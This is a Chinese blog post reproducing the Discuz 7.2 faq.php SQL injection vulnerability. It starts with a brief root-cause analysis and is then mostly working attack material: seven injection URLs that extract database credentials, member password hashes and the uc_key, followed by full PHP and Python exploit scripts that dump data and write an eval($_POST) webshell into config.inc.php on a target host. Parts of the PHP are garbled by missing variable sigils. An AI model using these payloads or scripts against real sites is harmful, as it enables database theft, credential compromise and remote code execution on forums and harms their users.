discuz7.2sql注入漏洞

2019/06/30 01:27 · 漏洞复现 · 原创文章 · 1,633 · 1

今天尝试了discuz7.2动力论坛的sql注入漏洞

原因是由faq.php文件源码存在漏洞引起的  安装就不介绍了  小白全自动安装

接下来,对漏洞进行测试分析

查看faq.php文件,找到action=grouppermission的代码。发现在148行出现sql注入

[cc lang='"php"]

elseif(action == 'grouppermission') {

require_once './include/forum.func.php';
require_once language('misc');permlang = language;
unset(
language);

searchgroupid = isset(searchgroupid) ? intval(searchgroupid) :groupid;
groups =grouplist = array();
query =db->query("SELECT groupid, type, grouptitle, radminid FROM {tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");cgdata = nextgid = '';

 

[/cc]

首先分析searchgroupid = isset(searchgroupid) ? intval(searchgroupid) : groupid;groups = grouplist = array();

定义一个数组groupids,然后遍历gids(这也是个数组,就是_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为啥这样会引起注入?

因为discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成gids[1]=\',而这个赋值语句groupids[] =row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

在将数据放入sql语句前,通过implodeids函数进行处理了一遍,implodeids函数如下:
[cc lang='"php"]

function implodeids(array) {

if(!empty(array)){

return"'".implode("','", is_array(array) ?array :array(array))."'";

} else {

return '';

}

}

 

[/cc]

 

很简单一个函数,就是将刚才的groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'

有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错。

利用上面提到的思路,通过提交faq.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞。因此可以构造利用代码:
[cc lang='"php"]

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

[/cc]

2.可利用exp代码

(1)获取mysql用户信息

[cc lang='"php"]

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

[/cc]

(2)获取数据库版本信息

[cc lang='"php"]

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

[/cc]

(3)获取数据库信息

[cc lang='"php"]

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

[/cc]

(4)获取数据库用户名和密码

[cc lang='"php"]

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

[/cc]

(5)获取用户名、email、密码和salt信息

[cc lang='"php"]      faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%20cdb_uc_memberslimit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 [/cc]

(6)获取uc_key(后面利用key写入配置文件config.inc.php getshell)

[cc lang='"php"]  faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23     [/cc]

(7)对指定uid获取密码

[cc lang='"php"]   faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23    [/cc]

有个利用脚本,获取所以信息和webshell

php:

php xx.php xxx.xxx.xxx 1

 

[cc lang='"php"]    <?php

/**
* @author: xiaoma
* @blog : www.i0day.com
* @date : 2014.7.2 23:1
*/

error_reporting(0);
set_time_limit(3000);
host=argv[1];
path=argv[2];
js=argv[3];
timestamp = time()+10*3600;table="cdb_";//表名

if (argc<2) {print_r('********************************************************* Discuz faq.php SQL Injection Exp ** ---------By:Www.i0day.com----------- ** Usage: php '.argv[0].' url [js] *
* ------------------------------------- *
* js选项: 1.GetShell 2.取密码 3.查表前缀 *
* *
* php '.argv[0].' Www.i0day.com / 1 *
* php '.
argv[0].' Www.i0day.com /dz72/ 1 *
* *
* *
********************************************************
');
exit;
}
if(js==1){sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";resp = sendpack(host,path,sql);

if(strpos(resp,"::")==-1){
echo '表前缀可能不是默认cdb_ 请先查看表前缀!';
}else{
preg_match("/::(.*)::/",resp,matches);
lenght=intval(matches[1]);
if(lenght){
if(
lenght<=124){
sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
resp = sendpack(host,path,sql);
if(strpos(resp,"1\^")!=-1){
preg_match("/1\^(.*)\'/U",
resp,key1);sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";resp = sendpack(host,path,sql);
preg_match("/1\^(.*)\'/U",
resp,key2);key=key1[1].key2[1];
code=urlencode(_authcode("time=timestamp&action=updateapps", 'ENCODE', key));cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com\');eval(_POST[i0day]);//</item>
</root>';
cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com</item>
</root>';
html1 = send(cmd1);
res1=substr(html1,-1);
html2 = send(cmd2);
res2=substr(html1,-1);
if(res1=='1'&&res2=='1'){
echo "shell地址:http://".host.path.'config.inc.php pass:i0day';
}
}else{
echo '获取失败';
}
}
}
}

}elseif(js==2){sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";resp = sendpack(host,path,sql);
if(strpos(
resp,"\^\^\^")!=-1){
preg_match("/\^\^\^(.*)\^/U",resp,password);
echo '密码:'.password[1];
}else{
echo '表前缀可能不是默认cdb_ 请先查看表前缀!';
}
}elseif(
js==3){
sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";resp = sendpack(host,path,sql);
if(strpos(
resp,"1\^")!=-1){
preg_match("/1\^(.*)\^/U",resp,t);

if(strpos(t[1],"cdb_")!=-1){
echo "表名为:".hex2str(
t[1])." 表前缀为默认cdb_ 无需修改";
}else{
echo "表名:".hex2str(t[1]).' 不是默认表名cdb_请自行修改代码中的table';
}
}else{
echo "查看表前缀失败,Sorry";
}
}else{
echo "未选择脚本功能";
}

function sendpack(host,path,sql,js){
data = "GET ".path."/faq.php?".sql." HTTP/1.1\r\n";data.="Host:".host."\r\n";data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
data.="Connection: close\r\n\r\n";
//
data.=html."\r\n";ock=fsockopen(host,80);

if(!ock){
echo "No response from ".host;
die();

}
fwrite(ock,data);resp = '';

while (!feof(ock)) {resp.=fread(ock, 1024);
}

returnresp;

}
function send(cmd){
global
host,code,path;
message = "POST ".path."/api/uc.php?code=".code." HTTP/1.1\r\n";message .= "Accept: */*\r\n";
message .= "Referer: ".host."\r\n";
message .= "Accept-Language: zh-cn\r\n";message .= "Content-Type: application/x-www-form-urlencoded\r\n";
message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";message .= "Host: ".host."\r\n";message .= "Content-Length: ".strlen(cmd)."\r\n";message .= "Connection: Close\r\n\r\n";
message .=cmd;

//var_dump(message);fp = fsockopen(host, 80);
fputs(
fp, message);resp = '';

while (fp && !feof(fp))
resp .= fread(fp, 1024);

return resp;
}

function _authcode(string, operation = 'DECODE',key = '', expiry = 0) {ckey_length = 4;

key = md5(key ? key : UC_KEY);keya = md5(substr(key, 0, 16));keyb = md5(substr(key, 16, 16));keyc = ckey_length ? (operation == 'DECODE' ? substr(string, 0,ckey_length): substr(md5(microtime()), -ckey_length)) : '';cryptkey = keya.md5(keya.keyc);key_length = strlen(cryptkey);string = operation == 'DECODE' ? base64_decode(substr(string, ckey_length)) : sprintf('%010d',expiry ? expiry + time() : 0).substr(md5(string.keyb), 0, 16).string;
string_length = strlen(string);

result = '';box = range(0, 255);

rndkey = array();
for(
i = 0; i <= 255;i++) {
rndkey[i] = ord(cryptkey[i % key_length]);
}

for(j = i = 0;i < 256; i++) {j = (j +box[i] +rndkey[i]) % 256;tmp = box[i];
box[i] = box[j];
box[j] = tmp;
}

for(a = j =i = 0; i<string_length; i++) {a = (a + 1) % 256;j = (j +box[a]) % 256;tmp = box[a];
box[a] = box[j];
box[j] = tmp;result .= chr(ord(string[i]) ^ (box[(box[a] +box[j]) % 256]));
}

if(operation == 'DECODE') {
if((substr(result, 0, 10) == 0 || substr(result, 0, 10) - time() > 0) && substr(result, 10, 16) == substr(md5(substr(result, 26).keyb), 0, 16)) {
return substr(
result, 26);
} else {
return '';
}
} else {
return keyc.str_replace('=', '', base64_encode(result));
}

}
function hex2str(hex){str = '';
arr = str_split(hex, 2);
foreach(arr asbit){
str .= chr(hexdec(bit));
}
return str;
}
?>  [/cc]

python:

利用:python xx.py xxx.xxx.xxx.xxx 10

[cc lang='"php"]   #!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# author iswin
import sys
import hashlib
import time
import math
import base64
import urllib2
import urllib
import re

def sendRequest(url,para):
try:
data = urllib.urlencode(para)
req=urllib2.Request(url,data)
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print 'Exploit Failed!\n%s'%(e)
exit(0);
return res

def getTablePrefix(url):
print 'Start GetTablePrefix...'
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
pre=re.findall("Duplicate entry '(.*?)'",res);
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1].decode('hex')
table_pre=table_pre[0:table_pre.index('_')]
print 'Table_pre:%s'%(table_pre)
return table_pre

def getCurrentUser(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para)
pre=re.findall("Duplicate entry '(.*?)'",res)
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1]
print 'Current User:%s'%(table_pre)
return table_pre

def getUcKey(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
res1=sendRequest(url,para1);
key1=re.findall("Duplicate entry '(.*?)'",res)
key2=re.findall("Duplicate entry '(.*?)'",res1)
if len(key1)==0:
print 'Get Uc_Key Failed!'
return ''
key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
print 'uc_key:%s'%(key)
return key

def getRootUser(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
pre=re.findall("Duplicate entry '(.*?)'",res)
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1].split(' ')
print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
res=sendRequest(url,para);
datas=re.findall("Duplicate entry '(.*?)'",res)
if len(datas)==0:
print 'Exploit Failed!'
exit(0)
cleandata=datas[0][:len(datas[0])-1]
info=cleandata.split(' ')
print 'user:%s pass:%s'%(info[0].decode('utf-8').encode('cp936'),info[1])

def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval(_POST[3]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "Exploit Falied"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"

try:
req=urllib2.Request(host+'/config.inc.php')
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print 'GetWebshell Failed,%s'%(e)
return
print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
print 'DZ7.x Exp Code By iswin'
if len(sys.argv)<3:
print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.waitalone.cn 10'
exit(0)
url=sys.argv[1]+'/faq.php'
count=int(sys.argv[2])
user=getCurrentUser(url)
if user.startswith('root@'):
getRootUser(url)
uc_key=getUcKey(url)
if len(uc_key)==64:
print 'Start GetWebshell...'
get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
tb_pre=getTablePrefix(url)
print 'Start DumpData...'
for x in xrange(0,count):
dumpData(url,tb_pre,x)    [/cc]

利用uc_key进行写入配置文件getshell

拿到了key,就可以利用discuz的uc_key来getshell了,原理也很简单,在写配置文件的时候,过滤有问题,导致可以在提交配置文件的时候,把一句话写入配置文件中,具体可以去搜相关文章。总之作为后人,我们要做的就是微笑就可以了。由于涉及到key的加密解密函数,直接从源码copy,因此这个漏洞的exp用的大多是php,成功以后,会在根目录的config.inc.php文件中写入一句话木马。

利用脚本:

[cc lang='"php"]  #! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys

def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):
'''
发送命令获取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "访问出错"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/config/config_ucenter.php,password:1"

if __name__ == '__main__':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"
print get_shell(url,key,host)     [/cc]

 

使用方法:

python uckey.py http://www.xxx.cn/ uc_key

即第一个参数是网站的根路径,第二个参数是uc_key。获取的webshell是在/config/config.inc.php中。

您可能感兴趣的文章

本文地址:http://www.ouyangxiaoze.com/2019/06/324.html
版权声明:本文为原创文章,版权归 欧阳小泽 所有,欢迎分享本文,转载请保留出处!

文件下载

上一篇:
下一篇:

 发表评论


表情

  1. lin
    lin @回复

    厉害